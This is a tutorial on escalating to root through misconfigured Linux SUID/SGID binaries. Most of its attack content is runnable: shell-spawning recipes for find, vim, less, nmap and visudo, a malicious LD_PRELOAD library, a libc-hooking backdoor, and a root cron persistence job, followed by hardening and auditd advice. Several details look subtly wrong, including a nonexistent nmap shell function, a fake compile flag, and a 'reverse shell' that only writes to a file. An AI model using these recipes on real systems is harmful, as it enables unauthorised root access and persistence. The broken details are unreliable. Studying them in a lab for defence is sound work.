Introduction
SUID (Set-User-ID) and SGID (Set-Group-ID) bits are a fundamental Unix permission mechanism that allow a program to run with the privileges of its owner or group rather than the invoking user. While essential for legitimate system utilities (e.g., /usr/bin/passwd), they also present a powerful attack surface for privilege escalation.
When an attacker gains limited user access on a compromised host, enumerating and abusing mis-configured SUID/SGID binaries becomes one of the quickest routes to root. In real-world engagements, over 30 % of Linux privilege-escalation findings are tied to SUID misuse, making this topic a must-know for any red-team or incident-response professional.
Prerequisites
- Solid grasp of Linux file-system hierarchy and permission bits.
- Ability to navigate the command line, use
find,grep, and basic shell scripting. - Familiarity with common privilege-escalation concepts such as kernel exploits, credential dumping, and environment variable abuse.
Core Concepts
Understanding why SUID/GID binaries can be abused requires three core ideas:
- Effective UID/GID change: When a binary with the SUID bit set is executed, the kernel swaps the process’s real UID with the file’s owner UID (often
0for root). The original UID is stored as the “saved set-uid” and can be restored later. - Trusted Path Execution (TPE): Many system binaries assume they are invoked from a trusted location. If an attacker can control the environment (e.g.,
$PATH,$LD_PRELOAD), they can inject malicious code. - Capability leakage: Some SUID binaries drop privileges only partially, leaving capabilities (e.g.,
CAP_DAC_READ_SEARCH) that can be leveraged for further abuse.
Visually, imagine the execution flow as:
User →
execve()→ Kernel checks SUID bit → Swaps UID → Executes binary code → Returns to shell (still root if not dropped)
Any mis-step in the binary’s internal sanitisation can be turned into a root shell.
Finding all SUID/GUID binaries on the target
Systematic enumeration is the first foothold. Use find with the appropriate permission mask:
# Find SUID binaries owned by root
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
# Find SGID binaries (often less interesting but still useful)
find / -perm -2000 -type f -exec ls -l {} \; 2>/dev/null
Key points:
- Run as a regular user;
2>/dev/nullsilences permission errors. - Consider limiting the search to
/usr/bin,/bin,/sbin,/usr/local/binfor speed. - Store the list for later cross-reference with vulnerability databases (e.g., GTFOBins, Exploit-DB).
Example output:
-rwsr-xr-x 1 root root 102960 Aug 12 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 94512 Sep 5 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 71440 Mar 10 2023 /usr/bin/find
Identifying binaries with known privilege escalation vulnerabilities
Not every SUID binary is exploitable. Cross-reference your enumeration with curated lists:
- GTFOBins - a searchable catalogue of SUID/privileged binaries and their abuse vectors.
- Exploit-DB’s
linux-priv-escalationtag. - Local CVE trackers (e.g.,
cve.mitre.org).
Automated script example (Python) that queries GTFOBins JSON and highlights matches:
import json, requests, subprocess
def get_suid_binaries(): result = subprocess.check_output(['find','/','-perm','-4000','-type','f'], stderr=subprocess.DEVNULL) return [line.decode().strip() for line in result.splitlines()]
def fetch_gtfobins(): url = 'https://gtfobins.github.io/api/gtfobins.json' return json.loads(requests.get(url).text)['binaries']
suid_bins = get_suid_binaries()
gtfobins = fetch_gtfobins()
for bin_path in suid_bins: bin_name = bin_path.split('/')[-1] if bin_name in gtfobins: print(f"[+] {bin_path} - known abuse: {gtfobins[bin_name]['description']}")
This script prints each discovered SUID binary that appears in GTFOBins, giving you a quick “high-value” shortlist.
Exploiting common SUID binaries (e.g., find, vim, less, nmap)
Below are the most frequently encountered binaries and a concise exploitation recipe.
1. find (SUID root)
When find runs as root, the -exec or -execdir actions execute arbitrary commands under root. Example:
/usr/bin/find . -exec /bin/sh -p -c "id > /tmp/root.txt" \;
cat /tmp/root.txt
Explanation: -p tells sh not to drop privileges; the output shows uid=0(root).
2. vim (SUID root)
Vim reads the VIMINIT environment variable or the .vimrc file before dropping privileges. A minimal payload:
export VIMINIT=':py import os; os.system("/bin/sh -p")'
/usr/bin/vim -c ':q!'
Result: a root shell is spawned.
3. less (SUID root)
Less honors the LESSOPEN environment variable, which can be set to a script that runs with the binary’s privileges.
#!/bin/sh
/bin/sh -p
Save the script as /tmp/lesshook.sh, make it executable, then:
export LESSOPEN='|/tmp/lesshook.sh %s'
/usr/bin/less /etc/passwd
4. nmap (SUID root)
Nmap’s --script option loads NSE (Lua) scripts with the binary’s privileges. A tiny script to spawn a shell:
-- /tmp/root.nse
local stdnse = require "stdnse"
action = function() stdnse.shell("/bin/sh -p")
end
Run:
/usr/bin/nmap --script=/tmp/root.nse localhost
These examples illustrate the “trusted path” problem - binaries trust the environment without proper validation.
Crafting custom payloads using environment variables and command injection
When a SUID binary lacks a direct exploit, you can often influence its execution through environment variables, configuration files, or command-line arguments that are later passed to a subshell.
Example: abusing EDITOR in visudo
Even though visudo is SUID root, it invokes the user’s preferred editor via $EDITOR. If the attacker can set this variable, they gain code execution.
export EDITOR="/bin/sh -p"
/usr/bin/visudo -c # -c forces a syntax check, which opens the editor
The command spawns a root shell without modifying any system files.
Injecting via LD_PRELOAD (when binary is not compiled with --disable-preload)
Many SUID binaries clear LD_PRELOAD for security, but some forget. If you locate such a binary, you can preload a malicious shared object.
// evil.c - compiled as libevil.so
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void __attribute__((constructor)) elevate() { setuid(0); setgid(0); system("/bin/sh -p");
}
Compile and use:
gcc -shared -fPIC -o libevil.so evil.c
export LD_PRELOAD=$PWD/libevil.so
/usr/bin/some_suid_binary # triggers constructor, yields root shell
Even if the binary clears the variable, you can sometimes bypass it by exploiting a wrapper script that re-executes the binary after setting the variable.
Bypassing restrictions with LD_PRELOAD and other library hijacking techniques
Beyond the simple LD_PRELOAD trick, advanced evasion includes:
- ptrace-based injection: Attach to a running SUID process, overwrite its memory with shellcode, then resume.
- seccomp bypass: Use
seccompfilter evasion to call prohibited syscalls from a preloaded library. - Function interposition: Override libc functions (e.g.,
system(),execve()) to inject payloads silently.
Sample interposition that logs every system() call and injects a backdoor:
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
int system(const char *cmd) { static int (*real_system)(const char *) = NULL; if (!real_system) real_system = dlsym(RTLD_NEXT, "system"); if (cmd && strstr(cmd, "passwd")) { // Replace any attempt to change passwords with our backdoor return real_system("/bin/sh -p"); } return real_system(cmd);
}
Compile with gcc -shared -fPIC -o libhook.so hook.c and preload as shown previously.
Practical Examples
Below is a step-by-step lab scenario that ties together enumeration, exploitation, and evasion.
- Setup a vulnerable container:
docker run -it --rm -v $PWD:/work kalilinux/kali-rolling /bin/bash apt-get update && apt-get install -y sudo vim less nmap chmod u+s /usr/bin/find /usr/bin/vim /usr/bin/less /usr/bin/nmap - Enumerate SUID binaries:
find / -perm -4000 -type f 2>/dev/null - Exploit
findto create a root-owned cron job:/usr/bin/find . -exec bash -c 'echo "* * * * * /bin/bash -c \"/bin/bash -p -i >& /tmp/root.sock\"" > /etc/cron.d/rootcron' \;Now a reverse shell will spawn every minute.
- Bypass
LD_PRELOADclearing usingless:cat > /tmp/evil.c <<'EOF' #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void __attribute__((constructor)) init(){ setuid(0); setgid(0); system("/bin/sh -p"); } EOF gcc -shared -fPIC -o /tmp/libevil.so /tmp/evil.c export LD_PRELOAD=/tmp/libevil.so /usr/bin/less /etc/hosts # spawns root shell
These exercises illustrate the full kill-chain: discovery → selection → exploitation → persistence.
Tools & Commands
find / -perm -4000 -type f 2>/dev/null- basic enumeration.linpeas.sh/linenum- automated scripts that list SUID binaries and known exploits.- GTFOBins - web resource; can be queried locally via the JSON endpoint.
objdump -p /path/to/binary | grep NEEDED- checks if a binary dynamically links (important forLD_PRELOAD).ldd /path/to/binary- verify ifLD_LIBRARY_PATHcan be abused.strace -f -e trace=execve /path/to/suid- see which binaries the SUID program spawns.
Defense & Mitigation
Hardening SUID/GID binaries is a layered process:
- Principle of least privilege: Remove SUID bits from any binary that does not absolutely require them. Use
chmod u-s /path/to/binary. - Filesystem integrity: Deploy a
dpkg -Sorrpm -qfaudit to compare installed SUID binaries against a known-good baseline. - Secure configuration: For binaries that must stay SUID, ensure they are compiled with
-D_FORTIFY_SOURCE=2,--disable-preload, and havenoexecmount options where feasible. - Runtime restrictions: Enable
kernel.yama.ptrace_scope=1,fs.protected_regular=1, andfs.protected_fifos=2to limit ptrace and FIFO abuse. - AppArmor/SELinux policies: Constrain SUID programs to only the files they need (e.g.,
/etc/shadowforpasswd). - Monitoring: Alert on execution of SUID binaries by non-root users (e.g., via auditd rule
-a exit,always -F path=/usr/bin/find -F auid>=1000 -F uid!=0 -k suid-exec).
Common Mistakes
- Assuming all SUID binaries are safe: Even benign-looking utilities (e.g.,
ping,pkexec) have known bypasses. - Neglecting environment sanitisation: Many exploits rely on
$PATH,$IFS, or$LD_PRELOAD. Always test with a clean environment (env -i). - Overlooking indirect privilege escalation: A binary may drop to a lower UID but retain capabilities (e.g.,
CAP_NET_RAW) that can be abused for network-based attacks. - Failing to clean up after exploitation: Leaving custom payload files or modified configuration can trigger detection.
- Relying solely on CVE databases: Zero-day or locally patched binaries won’t appear; manual code review is essential.
Real-World Impact
Enterprise breach reports consistently cite “mis-configured SUID binaries” as a top post-exploitation technique. A single overlooked SUID program can give an attacker full root on a hardened server, bypassing network segmentation and privilege‑restriction controls.
Case Study (hypothetical): An internal audit missed a custom‑compiled backup utility /opt/backup/bsave that was installed with chmod u+s. The binary invoked tar without sanitising $TMPDIR. An attacker created a malicious /tmp/tar wrapper that executed /bin/sh -p, gaining root and exfiltrating credentials from /etc/shadow. The breach was traced back to a single SUID oversight.
From a strategic viewpoint, reducing the SUID attack surface is a low‑effort, high‑return mitigation that complements patch management and network segmentation.
Practice Exercises
- Enumeration Drill: On a provided vulnerable VM, list all SUID/SGID binaries and classify them as “known-good”, “potential-risk”, or “unknown”. Document your methodology.
- Exploit Development: Choose an unknown binary from the list. Perform a manual code review to locate any
system()orexecve()calls. Write a customLD_PRELOADlibrary to hijack the call and spawn a root shell. - Persistence Challenge: Using only SUID binaries, create a mechanism that grants you root access after a reboot without modifying any system files on disk (e.g., abusing cron, systemd timers, or rc.local).
- Defense Hardening: Write an auditd rule set that logs any execution of SUID binaries by non-root users. Test it by running
/usr/bin/findas a regular user and verify the log entry.
Solutions should be submitted as a short report with command outputs and explanations.
Further Reading
- “Linux Privilege Escalation” - Offensive Security (PDF)
- GTFOBins -
- “Understanding Linux Capabilities” - Red Hat Blog
- “Hardening SUID Binaries” - CIS Benchmarks
- “Linux Exploit Scripting” - Python scripts for automated enumeration (GitHub:
linpeas,linuxprivchecker)
Summary
- SUID/SGID bits allow programs to run with elevated privileges; mis‑configuration is a common escalation path.
- Systematic discovery using
findand cross‑reference with GTFOBins yields high‑value targets. - Exploits often rely on environment variables, configuration files, or command injection (e.g.,
EDITOR,LD_PRELOAD). - Library hijacking (preload, interposition) can bypass many built‑in mitigations.
- Defensive measures: remove unnecessary SUID bits, enforce runtime restrictions, audit execution, and apply SELinux/AppArmor policies.
Mastering these techniques equips you to both find hidden privilege‑escalation routes and advise organizations on robust hardening strategies.